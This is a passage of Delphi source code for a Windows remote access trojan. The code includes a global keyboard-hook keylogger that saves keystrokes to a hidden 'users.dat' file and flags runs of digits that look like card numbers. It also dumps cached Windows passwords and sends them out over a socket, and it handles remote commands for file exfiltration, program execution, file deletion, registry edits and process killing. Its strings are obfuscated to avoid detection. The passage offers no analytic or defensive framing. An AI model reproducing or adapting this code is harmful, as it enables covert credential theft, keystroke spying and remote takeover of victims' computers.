closesocket(Server); WSACleanup; // UnRegisterClass(lpzClassName,hInst); // Halt; end; //=== Process Messages === procedure ProcessMessages; begin while GetMessage(Msg2,0,0,0) do begin TranslateMessage(Msg2); DispatchMessage(Msg2); end; end; //=== Socket things ===== //=== Send a String #0 === procedure TSock.WriteString(wParam:word;Buff:PChar); begin send(wParam,Buff^,Length(Buff),0); end; //=== Send Buffer === function TSock.WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt; begin Result:=send(wParam,Buff^,Len,0); end; //=== Process OnAccept === procedure TSock.OnServerAccept(wParam,lParam:longInt); begin accept(Server,nil,nil); end; //=== Process OnClose === procedure TSock.OnServerClose(wParam,lParam:longInt); begin //nothing end; function GetLocalHostName: string; var szHostName: array[0..128] of char; begin if gethostname(szHostName, 128) = 0 then Result:= szHostName; end; //======= sysutils ========= function StrPas(Str: PChar): string; begin Result := Str; end; function StrLen(Str: PChar): Cardinal; assembler; asm MOV EDX,EDI MOV EDI,EAX MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB MOV EAX,0FFFFFFFEH SUB EAX,ECX MOV EDI,EDX end; function StrCopy(Dest, Source: PChar): PChar; assembler; asm PUSH EDI PUSH ESI MOV ESI,EAX MOV EDI,EDX MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB NOT ECX MOV EDI,ESI MOV ESI,EDX MOV EDX,ECX MOV EAX,EDI SHR ECX,2 REP MOVSD MOV ECX,EDX AND ECX,3 REP MOVSB POP ESI POP EDI end; function StrScan(Str: PChar; Chr: Char): PChar; assembler; asm PUSH EDI PUSH EAX MOV EDI,Str MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB NOT ECX POP EDI MOV AL,Chr REPNE SCASB MOV EAX,0 JNE @@1 MOV EAX,EDI DEC EAX @@1: POP EDI end; function DiskSize(Drive: Byte): Integer; var RootPath: array[0..4] of Char; RootPtr: PChar; SectorsPerCluster, BytesPerSector, FreeClusters, TotalClusters: Integer; begin RootPtr := nil; if Drive > 0 then begin StrCopy(RootPath, 'A:\'); RootPath[0] := Char(Drive + $40); RootPtr := RootPath; end; if GetDiskFreeSpace(RootPtr, SectorsPerCluster, BytesPerSector, FreeClusters, TotalClusters) then Result := SectorsPerCluster * BytesPerSector * TotalClusters else Result := -1; end; function DeleteFile(const FileName: string): Boolean; begin Result := Windows.DeleteFile(PChar(FileName)); end; function FileAge(const FileName: string): Integer; var Handle: THandle; FindData: TWin32FindData; LocalFileTime: TFileTime; begin Handle := FindFirstFile(PChar(FileName), FindData); if Handle <> INVALID_HANDLE_VALUE then begin Windows.FindClose(Handle); if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then begin FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi, LongRec(Result).Lo) then Exit; end; end; Result := -1; end; function FileExists(const FileName: string): Boolean; begin Result := FileAge(FileName) <> -1; end; function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType; begin Result := mbSingleByte; if (Index = 0) then begin if P[Index] in LeadBytes then Result := mbLeadByte; end else begin if (P[Index-1] in LeadBytes) and (ByteTypeTest(P, Index-1) = mbLeadByte) then Result := mbTrailByte else if P[Index] in LeadBytes then Result := mbLeadByte; end; end; function ByteType(const S: string; Index: Integer): TMbcsByteType; begin Result := mbSingleByte; if SysLocale.FarEast then Result := ByteTypeTest(PChar(S), Index-1); end; function LastDelimiter(const Delimiters, S: string): Integer; var P: PChar; begin Result := Length(S); P := PChar(Delimiters); while Result > 0 do begin if (S[Result] <> #0) and (StrScan(P, S[Result]) <> nil) then if (ByteType(S, Result) = mbTrailByte) then Dec(Result) else Exit; Dec(Result); end; end; function ExtractFilePath(const FileName: string): string; var I: Integer; begin I := LastDelimiter('\:', FileName); Result := Copy(FileName, 1, I); end; procedure FindClose(var F: TSearchRec); begin if F.FindHandle <> INVALID_HANDLE_VALUE then Windows.FindClose(F.FindHandle); end; function FindMatchingFile(var F: TSearchRec): Integer; var LocalFileTime: TFileTime; begin with F do begin while FindData.dwFileAttributes and ExcludeAttr <> 0 do if not FindNextFile(FindHandle, FindData) then begin Result := GetLastError; Exit; end; FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo); Size := FindData.nFileSizeLow; Attr := FindData.dwFileAttributes; Name := FindData.cFileName; end; Result := 0; end; function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer; const faSpecial = faHidden or faSysFile or faVolumeID or faDirectory; begin F.ExcludeAttr := not Attr and faSpecial; F.FindHandle := FindFirstFile(PChar(Path), F.FindData); if F.FindHandle <> INVALID_HANDLE_VALUE then begin Result := FindMatchingFile(F); if Result <> 0 then FindClose(F); end else Result := GetLastError; end; function FindNext(var F: TSearchRec): Integer; begin if FindNextFile(F.FindHandle, F.FindData) then Result := FindMatchingFile(F) else Result := GetLastError; end; //=== Registry call ================ constructor TRegistry.Create; begin RootKey := HKEY_CURRENT_USER; LazyWrite := True; end; function DataTypeToRegData(Value: Integer): TRegDataType; begin if Value = REG_SZ then Result := rdString else if Value = REG_EXPAND_SZ then Result := rdExpandString else if Value = REG_DWORD then Result := rdInteger else if Value = REG_BINARY then Result := rdBinary else Result := rdUnknown; end; function RegDataToDataType(Value: TRegDataType): Integer; begin case Value of rdString: Result := REG_SZ; rdExpandString: Result := REG_EXPAND_SZ; rdInteger: Result := REG_DWORD; rdBinary: Result := REG_BINARY; else Result := REG_NONE; end; end; function TRegistry.GetDataInfo(const ValueName: string; var Value: TRegDataInfo):boolean; var DataType: Integer; begin FillChar(Value, SizeOf(TRegDataInfo), 0); Result := RegQueryValueEx(CurrentKey, PChar(ValueName), nil, @DataType, nil, @Value.DataSize) = ERROR_SUCCESS; Value.RegData := DataTypeToRegData(DataType); end; function TRegistry.GetData(const Name: string; Buffer: Pointer; BufSize: Integer; var RegData: TRegDataType): Integer; var DataType: Integer; begin DataType := REG_NONE; if RegQueryValueEx(CurrentKey, PChar(Name), nil, @DataType, PByte(Buffer), @BufSize) <> ERROR_SUCCESS then // raise ERegistryException.CreateFmt(SRegGetDataFailed, [Name]); Result := BufSize; RegData := DataTypeToRegData(DataType); end; procedure TRegistry.PutData(const Name: string; Buffer: Pointer; BufSize: Integer; RegData: TRegDataType); var DataType: Integer; begin DataType := RegDataToDataType(RegData); if RegSetValueEx(CurrentKey, PChar(Name), 0, DataType, Buffer, BufSize) <> ERROR_SUCCESS then // raise ERegistryException.CreateFmt(SRegSetDataFailed, [Name]); end; function TRegistry.GetDataSize(const ValueName: string): Integer; var Info: TRegDataInfo; begin if GetDataInfo(ValueName, Info) then Result := Info.DataSize else Result := -1; end; procedure TRegistry.WriteString(const Name, Value: string); begin PutData(Name, PChar(Value), Length(Value), rdString); end; procedure ReadError(const Name: string); begin // raise ERegistryException.CreateFmt(SInvalidRegType, [Name]); end; function TRegistry.ReadString(const Name: string): string; var Len: Integer; RegData: TRegDataType; begin Len := GetDataSize(Name); if Len > 0 then begin SetString(Result, nil, Len); GetData(Name, PChar(Result), Len, RegData); if (RegData = rdString) or (RegData = rdExpandString) then SetLength(Result, StrLen(PChar(Result))) else ReadError(Name); end else Result := ''; end; procedure TRegistry.CloseKey; begin if CurrentKey <> 0 then begin if LazyWrite then RegCloseKey(CurrentKey) else RegFlushKey(CurrentKey); FCurrentKey := 0; FCurrentPath := ''; end; end; procedure TRegistry.ChangeKey(Value: HKey; const Path: string); begin CloseKey; FCurrentKey := Value; FCurrentPath := Path; end; procedure TRegistry.SetRootKey(Value: HKEY); begin if RootKey <> Value then begin if FCloseRootKey then begin RegCloseKey(RootKey); FCloseRootKey := False; end; FRootKey := Value; CloseKey; end; end; function TRegistry.GetBaseKey(Relative: Boolean): HKey; begin if (CurrentKey = 0) or not Relative then Result := RootKey else Result := CurrentKey; end; function IsRelative(const Value: string): Boolean; begin Result := not ((Value <> '') and (Value[1] = '\')); end; function TRegistry.OpenKey(const Key: string; CanCreate: Boolean): Boolean; var TempKey: HKey; S: string; Disposition: Integer; Relative: Boolean; begin S := Key; Relative := IsRelative(S); if not Relative then Delete(S, 1, 1); TempKey := 0; if not CanCreate or (S = '') then begin Result := RegOpenKeyEx(GetBaseKey(Relative), PChar(S), 0, KEY_ALL_ACCESS, TempKey) = ERROR_SUCCESS; end else Result := RegCreateKeyEx(GetBaseKey(Relative), PChar(S), 0, nil, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, TempKey, @Disposition) = ERROR_SUCCESS; if Result then begin if (CurrentKey <> 0) and Relative then S := CurrentPath + '\' + S; ChangeKey(TempKey, S); end; end; destructor TRegistry.Destroy; begin CloseKey; inherited; end; //== Allocate windows === const InstanceCount = 313; Type TWndMethod = procedure(var Message: TMessage) of object; type PObjectInstance = ^TObjectInstance; TObjectInstance = packed record Code: Byte; Offset: Integer; case Integer of 0: (Next: PObjectInstance); 1: (Method: TWndMethod); end; type PInstanceBlock = ^TInstanceBlock; TInstanceBlock = packed record Next: PInstanceBlock; Code: array[1..2] of Byte; WndProcPtr: Pointer; Instances: array[0..InstanceCount] of TObjectInstance; end; var InstBlockList: PInstanceBlock; InstFreeList: PObjectInstance; function StdWndProc(Window: HWND; Message, WParam: Longint; LParam: Longint): Longint; stdcall; assembler; asm XOR EAX,EAX PUSH EAX PUSH LParam PUSH WParam PUSH Message MOV EDX,ESP MOV EAX,[ECX].Longint[4] CALL [ECX].Pointer ADD ESP,12 POP EAX end; function CalcJmpOffset(Src, Dest: Pointer): Longint; begin Result := Longint(Dest) - (Longint(Src) + 5); end; function MakeObjectInstance(Method: TWndMethod): Pointer; const BlockCode: array[1..2] of Byte = ( $59, { POP ECX } $E9); { JMP StdWndProc } PageSize = 4096; var Block: PInstanceBlock; Instance: PObjectInstance; begin if InstFreeList = nil then begin Block := VirtualAlloc(nil, PageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Block^.Next := InstBlockList; Move(BlockCode, Block^.Code, SizeOf(BlockCode)); Block^.WndProcPtr := Pointer(CalcJmpOffset(@Block^.Code[2], @StdWndProc)); Instance := @Block^.Instances; repeat Instance^.Code := $E8; { CALL NEAR PTR Offset } Instance^.Offset := CalcJmpOffset(Instance, @Block^.Code); Instance^.Next := InstFreeList; InstFreeList := Instance; Inc(Longint(Instance), SizeOf(TObjectInstance)); until Longint(Instance) - Longint(Block) >= SizeOf(TInstanceBlock); InstBlockList := Block; end; Result := InstFreeList; Instance := InstFreeList; InstFreeList := Instance^.Next; Instance^.Method := Method; end; { Free an object instance } procedure FreeObjectInstance(ObjectInstance: Pointer); begin if ObjectInstance <> nil then begin PObjectInstance(ObjectInstance)^.Next := InstFreeList; InstFreeList := ObjectInstance; end; end; var UtilWindowClass: TWndClass = ( style: 0; lpfnWndProc: @DefWindowProc; cbClsExtra: 0; cbWndExtra: 0; hInstance: 0; hIcon: 0; hCursor: 0; hbrBackground: 0; lpszMenuName: nil; lpszClassName: 'TPUtilWindow'); function AllocateHWnd(Method: TWndMethod): HWND; var TempClass: TWndClass; ClassRegistered: Boolean; begin UtilWindowClass.hInstance := HInstance; ClassRegistered := GetClassInfo(HInstance, UtilWindowClass.lpszClassName, TempClass); if not ClassRegistered or (TempClass.lpfnWndProc <> @DefWindowProc) then begin if ClassRegistered then Windows.UnregisterClass(UtilWindowClass.lpszClassName, HInstance); Windows.RegisterClass(UtilWindowClass); end; Result := CreateWindowEx(WS_EX_TOOLWINDOW, UtilWindowClass.lpszClassName, '', WS_POPUP {!0}, 0, 0, 0, 0, 0, 0, HInstance, nil); if Assigned(Method) then SetWindowLong(Result, GWL_WNDPROC, Longint(MakeObjectInstance(Method))); end; procedure DeallocateHWnd(Wnd: HWND); var Instance: Pointer; begin Instance := Pointer(GetWindowLong(Wnd, GWL_WNDPROC)); DestroyWindow(Wnd); if Instance <> @DefWindowProc then FreeObjectInstance(Instance); end; //==== Key_log========================= type PGlobalDLLData = ^TGlobalDLLData; TGlobalDLLData = record hHookHWnd: HWND; hKeyHook: HHOOK; end; const MMFileName = 'Users'; var MapHandle: THandle; GlobalData: PGlobalDLLData; tt,Logger:string; l:textfile; cc:byte; procedure OpenSharedData; var Size: integer; CreateFileMappingError: integer; begin Size := SizeOf( TGlobalDLLData ); MapHandle := CreateFileMapping( $FFFFFFFF, nil, PAGE_READWRITE, 0, Size, MMFileName ); CreateFileMappingError := GetLastError; if ( MapHandle = 0 ) then exit; GlobalData := MapViewOfFile( MapHandle, FILE_MAP_ALL_ACCESS, 0, 0, Size ); if ( GlobalData = nil ) then begin CloseHandle( MapHandle ); exit; end; if ( ( MapHandle <> 0 ) and ( CreateFileMappingError <> ERROR_ALREADY_EXISTS ) ) then begin GlobalData^.hHookHWnd := 0; GlobalData^.hKeyHook := 0; end; end; procedure CloseSharedData; begin UnmapViewOfFile( GlobalData ); CloseHandle( MapHandle ); end; //function KeyCounter( code: integer; wParam: integer; lParam: integer ): lRESULT stdcall; function KeyCounter( code: integer; wParam: integer; lParam: integer ): LRESULT; stdcall; begin OpenSharedData; Result := CallNextHookEx( GlobalData^.hKeyHook, Code, wParam, lParam ); if ( code = HC_ACTION ) then begin if ( lParam > 0 ) then begin PostMessage( GlobalData^.hHookHWnd, UM_KEYHIT, wParam, 0 ); end; Result := 0; exit; end; end; procedure KeyHook_Start( hWin: HWND ); //stdcall; begin OpenSharedData; GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, KeyCounter, hInstance, 0 ); GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, nil, hInstance, 0 ); GlobalData^.hHookHWnd := hWin; end; procedure KeyHook_Stop; //stdcall; begin OpenSharedData; UnHookWindowsHookEx( GlobalData^.hKeyHook ); CloseSharedData; end; procedure TLog.KeyIncrement( var Msg: TMessage ); const lettres: array[65..90] of Char = 'abcdefghijklmnopqrstuvwxyz'; chiffres: array[96..111] of Char = '0123456789*+ - /'; chiffres2: array[48..57] of Char = '0123456789'; var k:integer; s:string; begin k:=msg.WParam; //writeln(inttostr(k)+' : '+char(k)); if k in [96..111] then s:=chiffres[k] else if k in [65..90] then s:=lettres[k] else if k in [48..57] then s:=chiffres2[k] else if k in [112..123] then s:=#255 else if k in [33..40] then s:=#255 else if k = 0 then s:=#255 else if k > 255 then s:=#255 else if k = 16 then s:=crypt('=QKMCR9') else //<SHIFT> if k = 17 then s:=crypt('=AWVI8') else //<CTRL> if k = 18 then s:=crypt('=COP;') else //<ALT> if k = 20 then s:=crypt('=ABTV8') else //<CAPS> if k = 144 then s:=crypt('=LVI;') else //<NUM> if k = 9 then s:=crypt('=vbf;') else //<tab> if k = 8 then s:=crypt('=<') else //<> if k = 223 then s:='!' else if k = 219 then s:=')' else if k = 187 then s:='=' else if k = 221 then s:='^' else if k = 186 then s:='$' else if k = 192 then s:='? else if k = 220 then s:='*' else if k = 188 then s:=',' else if k = 190 then s:=';' else if k = 191 then s:=':' else if k = 226 then s:='<' else if k = 222 then s:='? else if k = 13 then s:='? else if k = 32 then s:=' ' else if k = 46 then s:=crypt('=ffh;') else //<del> if k = 45 then s:=crypt('=kmw;') else //<ins> s:='['+inttostr(k)+']'; logger:=logger+s; //write(s); if (s[1] in ['0'..'9']) or (s[1]=' ') or (s[1]='-') then inc(cc) else cc:=0; if (cc=13) then begin cc:=0; Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('.aft',true); Registre.WriteString('1','1'); Registre.Free; end; if length(logger)>200 then begin if not fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat begin assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat rewrite(l); write(l,' '); closefile(l); end; assignfile(l,systemdir+crypt(']wpawu)lh~'));//\users.dat reset(l); append(l); write(l,logger); closefile(l); logger:=''; end; end; procedure TLog.LogCreate; var tyhwnd:thandle; begin cc:=0; tyhwnd := AllocateHwnd(KLog.KeyIncrement); KeyHook_Start(tyhwnd); end; procedure TLog.LogDestroy; begin KeyHook_Stop; {$I-} assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat reset(l); append(l); write(l,logger); closefile(l); logger:=''; {$I+} end; //=== password connection function EnumPasswordCallbackProc(pce: TPPasswordCacheEntry; pdw: cardinal) : LongBool; stdcall; var s1 : string; s2 : string; begin result:=true; SetLength(s1,pce^.cbResource); Move(pce^.abResource[0],pointer(s1)^,pce^.cbResource); s1:=pchar(s1); SetLength(s2,pce^.cbPassword); Move(pce^.abResource[pce^.cbResource],pointer(s2)^,pce^.cbPassword); s2:=pchar(s2); write(t,PChar(s1+' : '+s2+#13+#10)); end; procedure testEnumCachedPasswords; var WNetEnumCachedPasswords : function (ps: pchar; pw: word; pb: byte; proc: pointer; bdw: cardinal) : word; stdcall; mpr : cardinal; begin mpr:=LoadLibrary('mpr'); if mpr<>0 then try WNetEnumCachedPasswords:=GetProcAddress(mpr,pchar(crypt('VLfp@hreJkhdhj_qbad{grd'))); //WNetEnumCachedPasswords if @WNetEnumCachedPasswords<>nil then begin try WNetEnumCachedPasswords(nil,0,$FF,@EnumPasswordCallbackProc,0); finally end; end; finally FreeLibrary(mpr) end; end; //===windows_control procedure killprocess(prname:string); var str : pchar; h:hwnd; begin str:=@(prname)[1]; h := FindWindow(nil,str); if h <> 0 then PostMessage(h, WM_QUIT, 0, 0); end; {function childproc(h:HWND):bool;stdcall; var tempstring: array [0..255] of char; begin GetClassName(h,classe,255); if (classe=nil) or (classe=string(' ')) then exit; if classe='Edit' then begin sendmessage(h,WM_GETTEXT,255,integer(@tempstring)); if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end; if counter=2 then writeln(string(klasse)); end; if classe='TEdit' then begin sendmessage(h,WM_GETTEXT,255,integer(@tempstring)); if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end; if counter=2 then writeln(string(klasse)); end; end; function AddTopLevelWindowsToList2(h: HWND): BOOL; stdcall; begin If (GetWindowLong(h,GWL_HWNDPARENT)=0) then begin Getwindowtext(h,klasse,255); if klasse<>'' then begin counter:=0; if pos('Netscape',klasse)<>0 then counter:=1; //+ ' (' + inttostr(h) if pos('Explorer',klasse)<>0 then counter:=1; //writeln(string(klasse)); if pos('Opera',klasse)<>0 then counter:=1; end; end; if counter=1 then EnumChildWindows(h,@childproc,8); end; } function AddTopLevelWindowsToList(h: HWND): BOOL; stdcall; begin If (GetWindowLong(h,GWL_HWNDPARENT)=0) then begin Getwindowtext(h,klasse,255); if klasse<>'' then begin write(t,string(klasse)+#13+#10); end; end; end; //=== information === procedure DoPassword(wParam:longInt); var pp:string; sock:tsock; begin assignfile(t,windowsdir+'~tmp..sys'); rewrite(t); append(t); testEnumCachedPasswords; closefile(t); assignfile(t,windowsdir+'~tmp..sys'); reset(t); repeat readln(t,pp); Sock.WriteString(wParam, PChar(pp+#13+#10)); sleep(Timeout); until pp=''; closefile(t); erase(t); end; procedure DoAbout(wParam:longInt); var SI:TSystemInfo; OsVer:TOSVersionInfoA; MS:TMemoryStatus; pp:string; begin ZeroMemory(@OsVer,SizeOf(OsVer)); ZeroMemory(@Si,SizeOf(Si)); ZeroMemory(@MS,SizeOf(MS)); MS.dwLength:=SizeOf(MS); OsVer.dwOSVersionInfoSize:=SizeOf(OsVer); GetVersionEx(OsVer); GetSystemInfo(Si); GlobalMemoryStatus(MS); case Win32Platform of WINDOWS.VER_PLATFORM_WIN32_WINDOWS : pp:='95'; WINDOWS.VER_PLATFORM_WIN32s : pp:='32'; WINDOWS.VER_PLATFORM_WIN32_NT : pp:='NT'; end; Sock.WriteString(wParam, PChar( crypt('R{pp`k=')+#13+#10+ //System: WSD.szDescription+#13+#10+ crypt('NQ9$')+IntToStr(OsVer.dwMajorVersion)+'.'+IntToStr(OsVer.dwMinorVersion)+#13+#10+ //OS: crypt('own$FVR2)')+IntToStr(Si.dwNumberOfProcessors)+#13+#10+ //num CPU: crypt('BRV$')+IntToStr(Si.dwProcessorType)+#13+#10+ //CPU crypt('SCN$')+IntToStr(Round(MS.dwTotalPhys/1048576))+#13+#10+ //RAM crypt('GpfaWGJ(')+IntToStr(Round(MS.dwAvailPhys/1024))+#13+#10+ //FreeRAM crypt('Wpw$')+IntToStr(Round(MS.dwTotalVirtual/1048576))+#13+#10+ //Vrt crypt('GpfaSts(')+IntToStr(Round(MS.dwAvailVirtual/1048576))+#13+#10+ //FreeVrt crypt('R{pp`k=(')+systemdir+'\'+#13+#10+ //System: crypt('Vkm`jq=(')+windowsdir+'\'+#13+#10+ //Window: WSD.szSystemStatus+' '+pp+#13+#10+ crypt('Impp?&')+getlocalhostname+#13+#10)); //Host: end; procedure DoShowDirectory(wParam:longInt;command:String); var sss,NomDuDossier,DossierTrouve,FichierTrouve:string; attributs,Resultat:Integer; SearchRec:TSearchRec; TailleDuFichier:integer; begin attributs:=6; sock.writestring(wParam,pchar(crypt('EkqWfgi2')+#13+#10)); //DirScan: sleep(timeout); If command[length(command)]='\' then command:=copy(command,1,length(command)-1); Resultat:=FindFirst(command+'\'+'*.*',FaDirectory,SearchRec); while Resultat=0 do begin if (SearchRec.Name<>'.') and (SearchRec.Name<>'..') and ((SearchRec.Attr and faDirectory)>0) then begin DossierTrouve:=command+'\'+SearchRec.Name; NomDuDossier:=DossierTrouve; // ProcessMessages; end; if NomDuDossier<>sss then begin sleep(timeout); if NomDuDossier<>'' then NomduDossier:=NomDuDossier+'\'; sock.writestring(wParam,pchar(crypt('}F9')+NomduDossier+#13+#10)); //|D: end; sss:=NomDuDossier; Resultat:=FindNext(SearchRec); end; FindClose(SearchRec); If command[length(command)]='\' then command:=copy(command,1,length(command)-1); Resultat:=FindFirst(command+'\'+crypt('+,)'),Attributs,SearchRec); //*.* while Resultat=0 do begin //ProcessMessages; if ((SearchRec.Attr and faDirectory)<=0) then begin FichierTrouve:=command+'\'+SearchRec.Name; TailleDuFichier:=SearchRec.Size; //NomFichierComplet:=FichierTrouve; //DateHeureDuFichier:=SearchRec.Time; end; sleep(timeout); Resultat:=FindNext(SearchRec); sock.writestring(wParam,pchar(crypt('}D9')+FichierTrouve+'|'+inttostr(tailledufichier)+#13+#10)); //|F: end; FindClose(SearchRec); sleep(timeout); sock.writestring(wParam,pchar(crypt('}D9$YZo|dfWP')+#13+#10)); //|F: \\html\\ end; procedure DoStart(wParam:longInt); var ch:char; VolNameStr,Tip:String; LW:byte; Dsize,NamLen,syslen:integer; VolNameAry: array[0..255] of char; VolSer,SysFlags : DWord; begin Driv:=''; d:=0; ch:=#97; sock.WriteString(wParam, PChar(crypt('EmPpdts2')+#13+#10)); //DoStart: repeat d:=d+1; s:=ch+':\'; case getDriveType(pChar(s)) of DRIVE_FIXED: begin Tip:='0'; //Fixed HD NamLen:=255; SysLen:=255; if GetVolumeInformation(pChar(s), VolNameAry, NamLen, @VolSer, SysLen, SysFlags, nil, 0) then VolNameStr := StrPas(VolNameAry) else VolNameStr := ''; LW := ord(upcase(s[1])) - 64; DSize := DiskSize(LW); if (DSize <> -1) then DSize := disksize(LW) DIV 1024; //Driv:=Driv+'Drive: '+UpCase(Ch)+':\'+' <'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10; Driv:=crypt('}F9')+UpCase(Ch)+':\'+' <'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10; //|D: end; DRIVE_CDROM: begin Tip:='1'; //CD-ROM Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end; DRIVE_RAMDISK: begin Tip:='2'; //RAM Disk Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end; DRIVE_REMOVABLE: begin Tip:='3'; //Removable Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end; DRIVE_REMOTE: begin Tip:='4'; //Network Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end; sleep(timeout); sock.WriteString(wParam, PChar(Driv)); driv:=''; inc(ch); until d=26; sleep(timeout); sock.WriteString(wParam, PChar(crypt(']^kphj[T')+#13+#10)); //\\html\\ end; procedure DoShowLog(wParam:longInt); var f:file of byte; p:longint; begin Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('.aft',true); if fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat begin assignfile(f,systemdir+crypt(']wpawu)lh~')); //\users.dat reset(f); p:=filesize(f); sock.writestring(wParam,pchar(crypt('mmd>%')+Registre.ReadString('1')+' '+s+' '+inttostr(p)+#13+#10)); //log: closefile(f); end; Registre.Free; end; procedure DoExecFile(wParam:longInt;Command:String); var R:Integer; Params:String; begin Params:=''; if Pos('&',Command)<>0 then begin Params:=Copy(Command,Pos('&',Command)+1,255); Delete(Command,Pos('&',Command),255); end; R:=ShellExecute(0,nil,PChar(Command),PChar(Params),nil,SW_NORMAL); if R<=32 then sock.WriteString(wParam, PChar(ERROR+#13+#10)) else sock.WriteString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoProxy(wParam:longInt;Command:String); begin // end; procedure DoDeleteFile(wParam:longInt;Command:String); var St:String; Found:Integer; F:TSearchRec; begin Found:=FindFirst(Command,faAnyFile, F); St:=''; while Found = 0 do begin if DeleteFile(ExtractFilePath(Command)+F.Name) then St:=St+F.Name; Found:=FindNext(F); end; sock.WriteString(wParam, PChar(crypt('Dpbw`b''n`fn7')+St+#13+#10)); //Erased files: end; procedure DoSendFile(wParam:longInt;Command:String); var {f:file of byte;} f:HFile; st:string; NumRead:Integer; p:array[1..1024] of char; OfStr:TOFStruct; FF:TSearchRec; begin f:=OpenFile(PChar(Command),OFStr,OF_READ); if f=HFILE_ERROR then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); exit; end; FindFirst(Command,faAnyFile, FF); St:=IntToStr(FF.Size); sock.WriteString(wParam, PChar(crypt('mmb`cok2')+st+'|'+#13+#10)); //loadfil: sleep(timeout); repeat ReadFile(f,P,SizeOf(P),NumRead,nil); Sleep(timeout); if sock.WriteData(wParam,@P,numread)=0 then begin _lclose(f); exit; end; until (NumRead = 0); _lclose(f); end; procedure DoReceiveFile(wParam:longInt;Command:String); begin //done; end; procedure DoRenameFile(wParam:longInt;Command:String); var Params:String; f:file; begin Params:=''; if Pos('&',Command)<>0 then begin Params:=Copy(Command,Pos('&',Command)+1,255); Delete(Command,Pos('&',Command),255); end; assignfile(f,command); if params<>'' then Rename(f,params) else exit; sock.writeString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoCreateDirectory(wParam:longInt;Command:String); var St:String; begin St:=command; MkDir(command); sock.WriteString(wParam, PChar(crypt('Bpfeqc''l`x1')+St+#13+#10)); //Create dir: end; procedure DoDeleteDirectory(wParam:longInt;Command:String); var St:String; begin St:=command; RmDir(command); sock.WriteString(wParam, PChar(crypt('Dpbw`&ca{0')+St+#13+#10)); //Erase dir: end; procedure DoWriteReg(wParam:longInt;Command:String); var Params,Params1,Params2,Params3:String; begin params:=''; params1:=''; params2:=''; params3:=''; if Pos('&',Command)<>0 then begin params:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params1:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params2:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; Params3:=Copy(Command,1,length(command)); Registre:=TRegistry.create; if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT; if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER; if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE; if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS; if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA; if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG; if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA; if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end; Registre.OpenKey(params1,true); Registre.WriteString(params2,pchar(params3)); Registre.Free; sock.WriteString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoReadReg(wParam:longInt;Command:String); var params,params1,params2:string; begin if Pos('&',Command)<>0 then begin params:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params1:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; Params2:=Copy(Command,1,length(command)); Registre:=TRegistry.create; if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT; if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER; if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE; if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS; if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA; if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG; if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA; if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end; Registre.OpenKey(params1,true); sock.WriteString(wParam, PChar('Data: '+Registre.ReadString(params2)+#13+#10)); Registre.Free; end; procedure DoKillProcess(wParam:longInt;Command:String); begin Killprocess(command); sock.WriteString(wParam, PChar(crypt('Jkohlh`2)')+command+#13+#10)); //Killing: end; procedure DoWindowsProcess(wParam:longInt); var pp:string; begin 